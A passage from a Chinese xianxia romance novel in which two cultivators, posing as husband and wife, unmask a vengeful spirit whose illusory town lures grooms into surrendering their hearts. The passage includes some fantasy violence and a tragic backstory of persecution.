“那我先回去了,出来久了会被夫人怀疑。”
说完他便转身欲离开,只是身后的人忽然从背后抱住他。
“郎君今夜留下可好。”
江敛身子一激灵,灵力直接将她弹开,这是第一次他沉下脸,哪怕知道百米之外还有人在盯着。
声音冰冷刺骨,“我们还未成亲,留下不合适,明夜再说。”
说罢他便不带丝毫留恋的离开,独留白芩一人站在树下。
周慈有些呆愣,这还是第一次听到敬之用这个语气说话。
眼见着他回来,她将铃铛收进乾坤袋连忙上前,“辛苦了敬之。”
“没事夫人,这本就是我应该做的。”
江敛笑着摇摇头,好似刚刚只是一场幻觉,可周慈知道敬之刚刚是真的生气了,因为属于他的情绪在自己心底蔓延。
她从乾坤袋里拿出一串糖葫芦来递到他面前,“要尝尝吗?”
“之前见到一个大娘在卖,便买了两串,我尝了尝还挺好吃的。”
小白不高兴了喂些小鱼干就好了,也不知道敬之是不是也这样。
看着面前这串诱人的糖葫芦,他眼神瞥见拿着它的人正直勾勾的看着,终是忍不住咽了咽口水。
江敛默了默,失笑道:“不了夫人,你吃吧。”
“不用,你吃!。”
她狠下心来移开眼神不去看那串晶莹剔透的糖葫芦,可它一直在勾着自己诶……
不然怎么闻到了甜香味。
江敛看见她移开眼神,又时不时的偷偷将眼神挪回来,都快粘在那糖葫芦身上了。
明明都馋成这样了,还非要将这糖葫芦给自己。
见她如此,他心底忽然起了一丝坏心。
江敛笑眯眯的,接过她手中那串糖葫芦,“好啊,那就多谢夫人了。”
“不用客气。”
周慈转头不去看,就连垂在身侧的手都紧了紧。
不断在心里说道:算了算了,这糖葫芦本就是自己用来哄敬之开心的,大不了明日再去买就是了。
她成功把自己说服,又将头转回来看向身边人。
“敬之,好吃吗?”
看见糖葫芦少了一颗,她忍不住问道。
“夫人给的自是好吃。”
话音间还带着一丝小雀跃,于是他成功看见女孩带着艳羡的目光看向自己。
她在羡慕什么?
江敛一顿,心里浮现出一个令他不敢相信的想法:
不会是羡慕自己吃上糖葫芦了。
可看见那双眼一直舍不得从糖葫芦身上移开,就知晓自己一定猜对了。
竟是如此喜欢吃甜吗?
江敛看着她依依不舍的目光,深吸口气还是拿出油纸包裹着的糖糕放在她手中。
“这是什么?”
周慈垂眸好奇地看了看手中的东西,隔着外边这层油纸她好像都闻到了香香的味道。
“是糖糕,夫人要打开尝尝吗?”
糖糕?听起来很好吃的样子。
她将油纸打开,甜香味席卷了整个味蕾,好香!
周慈捻起一块放进口中,还带上一丝迫不及待的意味,接触到糖糕的那一瞬间,她的呼吸微微一滞,瞳孔不易察觉的放大。
“很好吃!”,她抬起头望向他,眼里闪烁着星子。
江敛身子一顿,一时间没有说话。
她一连尝了好几个才克制住自己停下来,糖糕的甜味快要将她包裹。
“夫人若喜欢我日后多做些。”,他眉眼含笑,如一块温润的玉。
“不用,若想吃我可以去买。”,周慈有些不好意思,她总是麻烦敬之给自己做糕点,可敬之本就不用做这些。
“夫人可是嫌弃我了?”
“还是说……只是不想吃我做的而已。”
他看起来一副受伤的样子,眼底的光都暗淡下去,默默地站在她身边垂下脑袋。
周慈被他忽如其来的情绪弄得有些不知所措,不知该如何是好。
只得笨拙的说道:“不是,我只是怕麻烦敬之。”
那双噙着泪的眼睛凄凄的看着她,声音颤抖:“真的?”
“真的,其实我很喜欢尝敬之做的。”
她语无伦次的安慰着,这是她第一次这样哄别人。
但如果能让对方好受些,她可以试着去学。
江敛声音很轻,却让人无法忽视,“那日后夫人不要说这样的话了,可好?”
“给夫人做吃食,我很欢心。”
她愣住,最后却也只说出:“好。”
“夫人,明日子时便是与白芩的大婚之日。”
“我已知晓。”,她点点头。
周慈看向他问道:“倒时你打算怎么办?”
“让我与她成亲定是不可能,我会放一个傀儡与她成亲。”
想起对方刚刚碰了自己,他的眼里便是掩藏不住的恶心。
可他依旧面带笑意,“今日时辰已晚,明日再商讨可好?”
“好。”
与她离别后,回了屋子的少年第一时间便是将这身衣裳脱下烧了个干净,随后清尘诀用了一遍又一遍。
可他依旧觉得脏死了。
江敛望着外边的黑夜,紧握的双手青筋凸起,平日里多情的眸子此刻失去所有温度。
他定让对方死无葬身之地。
就像当初那万花楼的花魁。
不过还是有值得高兴的事,算算日
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子,第一次情毒应是快要发作了……
想到这他的脸上重新带起笑意,手心摊开,一小团灵体安然蜷缩在他掌心,回想起前不久女孩说的那番话。
他很开心,所以他也要让夫人开心,这是道侣该做的事情。
如玉般温凉的指尖将那灵体从上到下轻轻抚摸了一遍,最后停留在它的脸蛋,一下又一下的戳着。
正在与小白嬉戏的周慈察觉到熟悉又陌生的感觉传来,第一时间想要顺着那源头寻过去,可那感觉一触即逝。
即便消失的很快,那感觉却依然让她的身子颤栗不已。
就像灵魂深处被何人触碰般,让她心有不安。
难道是近日她晚睡所以身子出了什么毛病?
倒也不是没有这个可能。
思及此她抱起正玩的开心的小兽认真道:“小白,我们必须得睡了。”
她强制性让小白闭上眼,随后自己也闭上眼休憩,这样身子应该就会好些了吧。
江敛静静地看着这小团灵体,最后还是决定大发慈悲的放过她。
今日的城里似乎很热闹,大家不再谈论前几日那些事,反倒是每个人脸上都带上喜气洋洋的笑意。
周慈走在街上看着人来人往,又看了看晴空万里的天,良久才轻叹口气。
“姑娘,买张饼子吗?”,大爷笑眯眯的问道,胸口前还戴上一只小白花。
她回过神来眉眼弯弯,摇摇头道:“今日便不买了,多谢老伯。”
老伯依旧没有回答她的话,周慈望着天空一时间出神:
这么久了,还是第一次见到天水镇如此明媚的天啊。
就连小河旁的柳树都冒出新芽。
“周姐姐!”,身后传来熟悉的声音,她回过身就看见白灵正小跑着朝她赶来。
“怎么了?”
她气还没喘匀,就拉住周慈的手,牵着她往城外赶去,叽叽喳喳的如同鸟儿一般在她身边说道:“今日可是一年一次的庙会!”
“就在城外的一座寺庙上,听大家说那里的菩萨可灵了!我们也赶紧去,不然待会儿就挤不进去了。”
她看起来很兴奋,脸颊都带着红,双眸亮得惊人,身边陆陆续续多了很多人,面上带着向往之色。
“周姐姐,我们快点。”
白灵牵住她的手带她小跑起来,两人的发带在身后飘着,温暖的春风让她忍不住带上笑意。
如她所言,寺庙挤了很多人,每个人脸上都带着笑意,还有路边卖吃食的小摊贩,好不热闹。
周慈站在殿内,望着那双熟悉又悲悯的眼,身边响起诚恳的声音,“还望佛祖可以保佑我和姐姐平安顺遂。”
她垂眸看着白灵,此刻对方正跪在蒲团上满是虔诚之色。
“周姐姐,你不拜吗?”
“保平安,很灵的!”,女孩望着她眼底清澈。
周慈蹲下身笑着摇头,“不了。”
两人逛完了整个庙会手里提了许多东西,最后周慈手中多了一串糖葫芦,她怔愣一瞬。
“我知道周姐姐喜欢吃甜噢。”
白灵俏皮的眨眨眼,压低声音说道。
周慈看着手中这串糖葫芦,抬眼便撞进那双含笑的眸子,一时间喉头微梗。
最后声音有些艰涩,“吃了很多苦吧,白灵。”
16. 真想砍下她的脑袋
听到这话她身子一僵,好不容易才找回自己的声音,嗫嚅的说道:“周姐姐你在说什么呢,我没有很辛苦呀,每天都能吃饱饭,比大多数人幸运呢。”
她脸上的笑意不变,周慈弯唇揉了揉她的脑袋柔声道:“对,你很幸运。”
“周姐姐快吃糖葫芦,待会儿就要化了。”
看着她殷切的目光,周慈笑了笑咬下一颗。
很甜,是她喜欢的味道。
一旁的女孩见她吃下眸光一闪,倒是脸上的笑意一直未变。
她咬着糖葫芦,不经意问道:“你可知你姐姐今日成婚吗?”
白灵看了她一眼笑出声来:“嗯?周姐姐你可别胡说,我都与姐姐说好了今日就离开天水镇去别的地方生活。”
她的脸上带上向往之色,声音却越来越小,可语气里依旧满是希冀,眼底燃气一簇小火苗看向远方,“等去了新的地方,就不会有人介意姐姐在万花楼跳过舞了,也不会因为新婚之夜死了丈夫被大家在背后指指点点。”
见她情绪忽然失落,周慈自是想起这些日子小镇上的流言,张了张嘴心中苦涩渐渐蔓延开来,一时间竟说不出一句话来。
原来谣言真的可以杀死一个人。
她的声音很轻,却足以让身边人听清,“但他们说的都是假的。”
“可说的人多了,假的也就成真了。”
人潮汹涌,热闹声却依旧没有阻止这句话传进她的耳中,周慈不知该说些什么去安慰她,好在身边的人没过一会儿便恢复原样,重新带上笑意牵着她的手走在人来人往的庙会中。
“没事的周姐姐,等我和姐姐搬去别的地方就不会在受这些了。”
白灵反过来安慰她,眉眼弯弯言笑晏晏,手心传来的温度让周慈无言以对。
“对,离开这里后你们就不用再受这些了。”,她的声音柔和,让女孩看着她一时间说不出话来。
手中的糖葫芦被她一点点吃掉,阳光越来越刺眼,周围的人却逐渐走得很慢。
“周姐姐,你怎么了?”
见到身边人身影有些摇晃,白灵连忙扶住她的身子往那棵屹立在庙中的菩提树下走去。
树的周围站满了人,多是些豆蔻年华的少女,她们每人手中都拿了一根红绸,依稀能看见上边的墨迹。
“周姐姐,你是不是身子不太舒服?”
白灵蹲在周慈身边,一双眼睛里倒影出此刻她的模样。
周慈微微喘气眼皮都耷拉下来,好奇怪……
怎么忽然就困了。
她努力抑制住自己的睡意,带着宽慰的语气道:“我没事。”
“可周姐姐感觉你都快睡着了,都怪我,今日非要拉着你逛这么久。”
女孩的脑袋都垂了下来,满脸自责,连看都不敢看她。
“本意是想和周姐姐道别,可现在好像又都弄砸了。”,她的脑袋偏向一侧,声音也忍不住哽咽。
“没有,你今日也带我逛了庙会,还买了许多好吃的。”,她抬抬手拍了拍白灵的脑袋温声道。
“这是一次最好的道别。”
女孩小心翼翼的征求她的意见,“那……我再去买两根红绸,听说在上边写下愿望,再扔到树的最高处就会实现!”
“好。”
“那周姐姐你在这等我噢。”
“好。”
听到她的回应,白灵才松下口气转身小跑着去买了两根红绸。
菩提树上挂满红绸,周慈拿着这崭新的红绸犯了难:她不知道该写一些什么东西。
身边人认真将自己的愿望写出,她看了一眼随即收回眼神。
白灵求的是与心上人长相厮守,那她呢,她该求什么呢?
不对,心上人?长相厮守?
周慈忽然反应过来眼神一凌,一时间睡意都消散许多。
她紧紧盯着白灵,不放过一丝对方的表情,“你何时有的心上人?”
“忘了和周姐姐说,我与刘家二郎近日……”,女孩有些扭捏,脸也微微烫起来。
“可你今日不是要离开了吗?”
“二郎说会和我与姐姐一同离开,倒时我们就成亲。”
听到这番说辞,周慈轻蹙眉心,她虽不知那刘家二郎是谁,可这话说得倒是没有几分可信。
“他家可有几人?”
白灵虽然疑惑,但还是老实回答:“两个姐姐,双亲也在,周姐姐你问这个做什么?”
“你可有想过他为何会与你离开?”
“因为我们心悦对方,想要一直在一起。”
听到这回答,周慈一时间不知该说些什么,看着她一副小女儿姿态她最终也闭上嘴。
修行之人不可插手她人的因果。
只是自己也提醒过了,后面会如何她也不知。
“好了周姐姐,你想要许什么愿望?”,她出声催促,还看了一眼空白的红绸子。
“我……”
周慈喉头一哽,她不知该许什么愿望,在幼时起,师父就告诉过自己,想要什么就去争取。
这些年来,她从未有过想要的东西,就连修为也是随心。
所以,她还真不知道该许什么愿望……
见她久久下不去笔,白灵顿了一下有些好奇的问道:“那周姐姐身边没有重要的人吗?可以许一个关于他们的愿望噢。”
身边的人……
周慈眨了眨眼,最后终于在红绸上写上了她的愿望。
“好啦周姐姐,我们快扔吧,扔的越高越能被神仙看见!”
她的语气里是遮盖不住的兴奋,周慈轻笑出声,随她一起用平生最大的力气将红绸抛了出去。
今日阳光温暖,树上的红绸微微飘动,风里还带着温暖的气息。
神啊,还请看见她们的愿望。
周慈抬头望向那棵树,面上是从未有过的平静祥和。
好困……
她的身形趔趄,扶着脑袋往后退了一步。
“周姐姐,你怎么了!”
闭眼前最后的画面是那张流泪的脸,周慈撑起眼皮用尽最后一丝力气说道:“没事,我只是困了,睡一会儿就好。”
见她的眼渐渐闭上,原本还在哭泣的女孩止住哭声,站起身居高临下的看着她,眼底的情绪逐渐消散,最后变成一片漠然。
庙会里的百姓停下脚步,直勾勾的往她这边走来,白灵转身离开,离开之际冷声吩咐:“将她看好,不许她离开庙。”
陆陆续续赶过来的人将陷入昏睡的她包围起来,寺庙被里里外外的包了起来。
白灵走出庙里,凝视面前的那条沾满泥巴的小路,回首
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望向那庙里,眼里带上了不忍,最后深吸口气转身离开。
城中现在应该没有人了吧?
那天……就该黑了。
在镇上客栈刻木雕的少年手上动作一顿,望向窗外忽然黑下来的天,脸上的笑意逐渐加深。
他垂下脑袋将手中的木雕刻好,先是眼睛,再是嘴巴,最后滴入一滴自己的血,便能让它成为自己了。
看着面前这个和自己一样的傀儡,江敛满意的点了点头,随后敛去身形与气息,傀儡缓缓睁开眼,合拢衣裳往外走去。
他来到了昨夜约定好的那棵树下,原本的小屋也挂上红绸。
女人穿上嫁衣站在那棵树下等他,依旧是没有五官,江敛通过傀儡将现下的一切尽收眼底。
他四处张望一番,还是没有看见熟悉的身影。
不过已经这个时候了,怎么还不见她出现?
他收回眼神专心看向屋内:算了,就算没有她自己也能处理好这一切。
不过是要费些功夫罢了。
“二郎,你来了。”
傀儡勾起笑来,牵起她的双手温声道:“嗯,我来与你成亲。”
“那我们赶紧拜堂,不要误了时辰才好。”,白芩娇笑道,带着他往屋子里走去。
“姐姐,都已经准备好了。”
“好,灵儿,这是你日后的姐夫。”,她牵起身边人满脸幸福的说着。
白灵嗫嚅道:“可……这是周姐姐的夫君,我们不可以……”
白芩的声音忽然冷了下来,还带上警告的意味,“够了灵儿,这日后便是你的姐夫,不要说错话了。”
“但是……”
她还想要再说些什么,可看见姐姐这样子,定然是听不进去了。
白灵只能退出去,将门关上守在门外,她不断的扣着手指,想起对她很好的周姐姐,内心就一阵不安。
她隔着门缝往里看,此刻那男人已经在和自己姐姐拜堂了。
白灵脸色都冷了下来,一双眼里满是怨毒:贱人,竟还是选择了背叛周姐姐。
今夜的风很凉,微微掀起了新娘的盖头,只能窥见莹白的下颌。
香已燃尽,香灰掉落在桌上,江敛看见了所谓的双亲,竟是摆放在椅子上的灵牌。
原来是拜死人吗?
“郎君可会嫌弃我,我与妹妹从小相依为命,爹娘死的早,可如今成婚需得拜双亲,我只能如此。”
声音从盖头下传来,带着明显的哽咽。
“怎会嫌弃你,无妨,日后还有我。”
‘江敛’牵起她的双手,含情脉脉的看向面前的新娘,豆蔻色的指甲轻轻搭在他的衣袖上,勾起一缕丝线。
白芩被这番话感动,抬手踮起脚抱住他,深深的吸了口气,“夫君,你真好。”
不过她心生疑惑,今日郎君身上竟没有那花香了。
可能是昨夜自己闻错了。
她松开双臂看着面前这张脸,一时间忍不住踮起脚隔着盖头轻轻的碰了碰他的唇瓣。
自己可从未见过如他这般的人,郎君可当真是绝世无双啊……
竟是一举一动都如此勾人心魄。
白芩沉浸在这一刻的欢愉中,倒是躲在外边的江敛见状脸忍不住的冷了下来。
恶心,真想砍下她的脑袋。
17. 原来他才是那个蠢货
但江敛还是深吸口气忍下这股恶心感继续隐藏自己的气息看下去。
“夫君,我们入洞房可好?”
女人的指尖在他胸口画着圈,在他耳边娇柔说道,惹得在外隐藏的少年一身不适。
他非得杀了对方不可。
江敛垂在身边的双手紧握随即又松开,此刻那傀儡已然点头,携着她一同入了新房。
新房里红烛正燃,白芩正窝在他的怀里轻哼小曲儿,这曲子听着倒是有些熟悉。
少年在窗外轻动指尖,屋内的傀儡便开口说话。
烛光衬得他半张脸格外柔和,声音清润搂着怀里的女子问道。
“对了,我夫人你将她如何了?”
女人没有回答他的问题,只是带了些抱怨,“江郎,现在我才是你夫君。”
‘江敛’沉默一瞬,直到外面人下出指令才一下又一下的抚摸她的头发安慰道:“那夫人你将那人如何了?”
白芩听到这句话笑出声来,又抬头吻了吻他的唇角,“安心,她已经离开镇子不会再来打扰我们了。”
离开天水镇了?
江敛双眼微眯,心里已然有了答案:怕是周道友遇到什么不测了。
若她死了,自己的任务还如何完成?
他唤出那小团灵体,见属于她的灵体安然的待在自己的手中才松了口气。
不得不承认,在知道对方没事时他心里诡异的松了口气,他将这一切归于自己的任务。
周慈死了,他就失去了飞升的资格。
如今见那灵体还乖巧的闭上眼,没有一丝受损的模样他才将灵体重新收了回去。
“江郎,该喝交杯酒了。”
白芩起身端起那两杯酒,将其中一杯递到他面前,‘江敛’接过酒杯与她交杯。
琼浆顺着他的喉间滚动饮下,唇角还残留水迹,不一会儿便双眼朦胧,坐在床榻上呆呆的望着站在自己面前的女人。
“敬之,现在如何了?”
身边忽然传出的声音让他身形一顿,江敛转过头来就瞧见自己原以为出事的人此刻正站在他身边一同看向屋内。
“夫人,可是出什么事了?”,他收起心绪换上一副担忧的神情。
她定定的看向屋内的情况,抽空回复了一句:“嗯,不过我已经解决了,你安心。”
周慈想起自己白灵离开时的神情便叹了口气,透过窗子她瞧见一位和敬之一模一样的人坐在床榻边我见犹怜,双手撑在身子两边望着站在他面前的白芩。
“这……”
“夫人别看。”
她还未来得及问出声,自己的双眼便被手捂住,视线忽然变的一片黑暗,什么也看不见。
周慈没反应过来,眼睫像一把小刷子不断轻颤,轻扫他的手心,一下又一下。
江敛身子一僵,好在他将对方眼睛捂住了,没让她看见自己此刻这略带狼狈的样子。
“敬之,你怎么了?”
为何不让她看?
周慈没有等到他松手,视觉消失,反倒是嗅觉和听觉变得灵敏。
她听见了头顶上方传来的呼吸声,也闻到了花香。
花香似有愈来愈浓的演变。
心底那抹独属于对方的情绪此刻在翻涌,她不知道那到底是何种感情,却并不觉得难受。
可敬之为何会突然产生如此大的情绪波动?
但现在不是问这些的时候,周慈抬手轻轻拍了拍他的手背。
“敬之,放手吧。”
少年好似才反应过来,连忙将手收回来,垂在身侧紧握手心,刚刚的痒意似乎还残留在他的掌心。
周慈专心致志的看着屋内的场景,丝毫没有察觉到身边人此刻的异样。
江敛垂眸指尖轻颤,早知道他就不蒙住对方的双眼了。
一个修无情道的,就算见到了也不会有任何情绪波动。
反观是他,现在变得如此被动。
原来他才是那个蠢货。
他深深的吸了口气,将翻腾的情绪死死压在心底,面上重新带上常年不变的笑。
“江郎,如今我们已是夫妻,你可是真心爱我?”
白芩放下酒杯,弯下身轻轻搂住他的脖颈娇声笑道。
“是。”
“那你是何时爱上我的?”
“第一次见面。”
女人似乎有些震惊,随即整个人都跪在他怀里,指尖轻抚他的脸颊,“可那时你有夫人,江郎竟背着你夫人心许我。”
看着那张没有五官的脸说着这样的话,周慈有一种说不出来的怪异感,她看了看身边人。
感受到她的目光江敛一顿,转过头来就看见那双清凌凌的眼,忍不住轻声道:“假的,夫人。”
“我知晓。”
那应该是敬之做的傀儡,不过她还从未见过做的如此逼真的傀儡,不知情的人定然不会发现异样。
屋内的情形还在上演,‘江敛’抬手搂住她的腰肢理所当然道:“是啊,所以当时你问我何时与你成婚时,我欢喜极了,觉得幻梦成真。”
这话惹得周慈又看了一眼身边人,江敛头一次有了一种‘搬起石头砸自己的脚’的感觉。
“既然爱我,可愿将你的心献给我,这样才能证明你真的爱我。”,女人弯下腰肢与他视线平齐,白嫩的指尖在他心口处轻点,画圈。
最后在他的胸口处落下一吻。
都这样了竟然还没发现她面前的人是傀儡吗?
或许是看出她的震惊,江敛忽然出声,还带上些幽怨,“那傀儡有我一滴血,不会被发现。”
周慈看了他一眼,江敛诡异的从她眼里看出了一丝认可。
一时间他不知该说些什么,只得继续看向屋内,白芩此刻已经解开了自己的衣裳,半露香肩。
当视线再次被挡住变成一片黑,周慈叹了口气,抬手握住捂住自己眼的手将他拿下,“敬之,我与她同为女子。”
怎么也不该捂住她的眼睛啊。
少年默了默,抬手捂住自己的眼默默转过身去。
“敬之,你怎么了?”
见他如此模样女孩眼里满是奇怪,随即就听见他轻声道:“可我是男子。”
“不宜看她身子。”
见他死死的捂住自己的眼,有点像小白将脸埋在自己的尾巴里的样子,周慈被自己的想法逗得差点笑出声来,眼睛弯弯盛满了温柔。
倒和小白有许多相似之处,莫名的有些可爱。
“可那傀儡不是能让你瞧见里边的情况吗?”
“我闭上眼了!”,话音间还有些恼怒,周慈不再逗他收起心思专心看向里边
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。
屋内还在上演真心戏码,“江郎,你可是真心爱我?”
“自然是真心爱你。”
“那你的心从这一刻,就归我了。”
她附在他耳边轻声道,下一秒就见那傀儡忽然张开嘴,不断反复呕吐,却什么也没吐出来。
在周慈略带惊疑的目光里,傀儡双手捧住从自己嘴中吐出来的——那颗心。
心脏在他手中微微跳动,他却像是着了魔一般双手将那颗心捧到女人的眼皮子底下,“夫人,这下你可信我真心待你?”
周慈屏住呼吸看向那颗心,又看向那傀儡的脸,眼底满是恍惚和迷恋。
看样子倒像是被什么东西蛊惑了。
白芩捧着那颗心笑意吟吟,“江郎,你都把心给我了,我自是信你的啊。”
女人的指尖轻轻划过他的脸颊,随她话音落下,‘轰’的一声身体砸向地面发出沉闷的声音。
江敛也将捂住眼的手拿下,睁开眼就瞧见自己做的傀儡安然躺在地上闭着眼,毫无生息的样子。
“夫人?”
周慈知晓他要问什么,沉声道:“是他自己将心脏从口中吐了出来。”
怪不得,那新郎虽然失去了心脏,身体却没有任何受损,就连神色也是祥和平静。
“敬之,你可知晓她是如何让人心甘情愿献上心脏的,那傀儡死前好像被控制了。”
可到底是怎么控制的,她却不知。
江敛唤出合欢花,花朵轻轻飘在空中散发淡淡的光。
花香逐渐四溢,已经死去的傀儡身上逐渐散出星星点点的红色光,还带有一缕缕丝线相连。
“敬之,这是什么?”,她眨了眨眼有些好奇。
虽然自己精通许多术法,可对于这些幻术和蛊惑人心的东西,却不如合欢宗的弟子。
“是那些新郎的心被碾碎,血被人洒在了这间屋子的每一处。”
有点恶心了。
周慈忍住想吐的感觉继续看向屋子里,身边人轻声问道:“夫人可瞧见那些丝线?”
“嗯。”
“正是那些丝线汇聚成一个诡异的阵法,而那些血则可蛊人心智。”
或许是为了证实他的说法,此刻那傀儡的身体逐渐被丝线吞没,那颗被吐出来的心从女人手中缓缓升向半空。
散落在周围的血液与那颗心脏融合,一滴一滴的血液从半空滴落,在地面上绽放出血花。
‘嘀嗒——嘀嗒——’
声音在黑夜中显得格外清晰,一下又一下有力的敲打着地板。
“那若要形成这样的效果,需得杀几人?”,她的声音沉闷,面色冷若冰霜。
“至少五人。”
五人……
眼见着那颗心脏逐渐被腐蚀,血肉逐渐形成一缕缕丝线与其他丝线交织,剑刃划破了窗子,带起的风阻绝了女人的动作。
白芩收回那颗心脏,转过身来明明没有眼却依旧准确的捕捉到她的身影。
周慈提起剑一步步走到她面前,看着她一言不发,眼底是让人看不懂的悲。
“周姐姐!你怎么来了!”
听到屋里传来的动静,守在外边的白灵连忙闯进来,看见是她面色紧张。
女孩下意识的上前想如往常一般拉住她的手,却被周慈抬手躲过。
18. 要抱一下吗
“周姐姐……”
白灵张嘴愣愣的看向她,眼底逐渐浮起水雾。
她将手收回,呆呆的看向她语无伦次的说着:“我……我不是有意瞒着周姐姐,是我……是我实在拗不过姐姐。”
“不对,是我的错,是我没有阻止姐姐,才让她杀了江公子,周姐姐,你要罚便罚我吧。”
她抽噎道,眼泪不断从眼眶涌出,手也不住的颤抖。
只是看向早已死去的‘江敛’满脸恨意,“可江公子他竟敢背叛周姐姐,他死有余辜!”
“我劝过姐姐不要这样做,可她却怎么也不听我的。”
“对不起周姐姐,真的对不起,要杀要打都随你。”
“周姐姐,你杀了我吧!”
说着白灵便要抓住她的手往自己脸扬。
周慈看她这样子,一句话没有说,只是静静地看着她,眼底的悲逐渐被冷静取代。
她用了些力气收回自己的手,江敛此刻也现身,站在周慈身边抱着双臂冷眼看向对方,语气里是隐藏不住的讥讽,“白姑娘,看来你的眼睛是真的不太好。”
“我可以效劳帮你把它挖出来。”,他勾起一抹笑,随即转身可怜巴巴的看向身边,语气还带上了些求表扬的意味。
“夫人,我对你才是真心,日月可鉴天地为证。”
他巴巴的看着她,期待她的回应。
周慈没有说话,只是看着面前这个已然面目全非的人,眼中的柔情被她掩盖。
“够了,你还要装多久?”
轻飘飘的声音让正在哭的伤心的女孩声音一顿,她抬眼凄凄的看向她,满是不解的问道:“周姐姐,你在说什么?”
“白灵,从始至终你那所谓的姐姐,其实只是你自己。”
“或许该叫你白芩更为合适。”
她握紧手中的剑,声音冷冽。
“周姐姐,你到底在说什么呀?”
她依旧不解,哭道:“周姐姐,你不要这样好不好,你要怪就怪我,不要说我姐姐。”
见她依旧这样,一道凌厉的剑风以迅雷不及掩耳之势袭向站在屋内的白芩。
白芩未来得及说一句话便软趴趴的倒在地上。
“周姐姐,你……你为何要杀了我姐姐!”,白灵瞪大眼睛,身子踉跄跑过去将倒在地上的女人揽在自己怀中,瞪向她的眼里伤心似要将她吞没。
周慈并未理会,只是那白芩的手逐渐变成木头,慢慢的整个人都变成了木头,与那死去的‘江敛’一个模样。
都是傀儡。
她踱步到跪坐在地上的女孩面前,蹲下身与她平视,平静的一字一句说出:“之前我便在怀疑,世间怎会有人如此相像,哪怕是同胞姐妹也不该拥有一样的胎记。”
“也多亏了敬之,我才知晓傀儡这种东西可与主人一般无二,但只要滴入自己的血,便能拥有自己的思绪。
“白灵,你还要如何解释?”
她眼泪涟涟,紧紧的抱着自己的姐姐,“周姐姐,可我没有胎记,你会不会看错了。”
“白灵,你说的谎言不要连自己也骗了。”
周慈站起身往后退了一步,此时的她才更像一个修无情道的修者。
“从我们离开那面镜子时,你便不对劲。”
“我与敬之可是身入镜中世界,不是你所说的昏迷在房间。”
“更何况……不会再有人进入那间破败的屋子了,除非有什么重要的东西遗留在那。”
“所以,你回去是在找这个,是吗?”
周慈手中凭空出现一盒胭脂,她弯下腰来将那盒胭脂递到对方面前,一字一句道:“你常年在那住,因此忘记了这盒胭脂,但这盒胭脂是你的情郎赠予,所以你冒着风险也要将它寻回,可对?”
“白灵,在镜子里我见到了,你与他的过往。”
她渐渐软下声音,好似又变成了从前那副样子,白灵望着她久久无法开口。
周慈也没有说话,一时间三人以一种诡异的方式平静下来。
“你什么时候发现的?”,她抬起头来声音略带沙哑。
“在老伯第三次喊我买饼时。”
白灵死死的盯着她,平日里清澈的眼逐渐染上一丝血色,“就凭这个?”
“和客栈下永远只谈论一件事的百姓。”
“白灵,这是你的幻境。”
随着她声音落下,新房逐渐坍塌,变成一片废墟,周围的景象正在快速变化,江敛紧紧握住她的手腕不敢松懈。
感受到传来的温度,周慈转过头看向他,见他眼里满是担忧一时间愣住,随后很快回过神来拍了拍他的手背轻声道:“放心,我没事。”
“嗯,我知晓。”
可他依旧没有松手,见状周慈只能由着他去了。
白灵依旧维持着那个姿势,此时再看她怀中的傀儡,五官已经显露,与她一般无二。
只不过要稍显年轻些。
但若仔细看,现在活着的她眉眼处有一道快要淡到看不见的疤痕。
用于掩饰胎记的香灰也掉落,逐渐显现出胎记的真容。
“我以为,我已经天衣无缝,可还是被你发现了啊。”
她低笑出声,眼里夹杂着泪与恨,“本来是想在最开始就杀了你的。”
“但你没动手。”
“是,因为我想看看你这样烂好人还能做出什么自我感动的事。”
白灵顿了顿,笑出泪来,“果然啊,在镜中世界你拼尽自己的全力将我救下,可还是没想到我死了,被活埋在那尊佛像里。”
“白姑娘,夫人救你是她心善,倒是你,还真是令人作呕,与你身上那味道倒是相辅相成。”
江敛声音冷冽,腥臭味在空气中弥漫开来,他打了个响指花香逐渐压过这股难闻的味道。
“夫人别闻,脏死了。”
他将那合欢花凑到少女鼻尖底下,浓郁的花香让她的大脑好像都变得有些迟钝。
周慈眨眨眼将他的手推开了些,没忍住轻声开口,“有点太香了。”
“脑袋有点疼。”
她悄声说道,江敛面无表情将那朵花收了回来。
算了,这蠢货只配被腥臭味熏死。
看着那朵花被收走周慈微微瞪大眼,眼疾手快的抓住他的手腕,趁那朵花还没有被敬之收起来的时候。
“诶?我没说我不要。”
比起越来越浓的腥臭味,她还是更倾向于闻那花香。
见她一脸认真,江敛却不想将花再次拿出来。
啊……
见他将花收了起来,周慈可惜的叹了叹气,算了算了,其实这味道也不是不能忍。
“这里哪里有你说话的份!”
白灵恶狠狠的瞪着他,血混着泪夺眶而出。
“这什么理,还不让人说你恶心了。”,他一脸无辜,说出口的话却差点将女人气个半死。
周慈重新将话题扯上正轨,轻声问道:“所以你为何要杀了那些男人?他们可与你无冤无仇。”
“因为他们爱我啊。”
“他们怕我不信,就想把心挖出来来证明自己的真心,周姐姐,我何错之有?”
她支撑着站起身来,语气天真走上前想拉住她的手。
“够了白灵。”
周慈紧抿唇瓣,他们兜兜转转又回到了那棵树下,依旧是那棵郁郁葱葱的树,白灵指尖划过树干,一寸寸抚摸过去。
她没有看向他们,只是望着这棵树无言,江敛扯了扯唇冷眼看她接下来准备说些什么。
“我何错之有,他辜负我,在活埋我的佛像面前与人互许承诺厮守终生,镇上的人怨我,将我浸猪笼想要淹死,可我命大,所以他们将我赶尽杀绝。”
“我只想好好活着,何错之有。”
“周慈,你说,我何错之有?”
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白灵猛的抬头看向她,血泪夺眶而出,平日里清澈纯真的眸子此刻充满了怨恨。
他们杀了自己,又杀了自己的孩子,叫她如何不恨。
二郎欺她负她,叫她如何不恨。
她的声音陡然拔高,双手紧握,手心不断流出血来滴落在地,“你告诉我,明明是两厢情愿之事,为何只有我要浸猪笼?”
天地间充斥着她的不解,怨愤,迷茫,还有无边的恨。
“周慈,你说我何错之有,我只是想好好活着,我何错之有?”
“我不求二郎爱我了,也不怨他们将我浸猪笼了,为何要对我赶尽杀绝?为何!”
“所以我又为何要留下他们的性命?”
她的眼泪混着自己的血不断涌出,幻境在逐渐破灭,只剩她们周围最后一片纯白。
听到她的话,周慈看向她没有说话,就在两人都以为她不会再开口,少女启唇柔声细语:“我未曾亲身经历你口中那些属于你的经历,但我也能在幻境中感受到你的绝望与痛苦,所以我无法评判你有错。”
“或许你的经历放在我身上,我未必会有你坚强。”
“你知道吗,第一次在客栈见你时我觉得你的眼睛很漂亮。”,她语气轻松,似乎想起来第一次见她的模样眉眼弯弯,周身的气息都静了下来。
江敛毫不掩饰自己看向她的目光,他明白了,这个蠢货又要当菩萨了。
“周慈,你在胡说什么。”
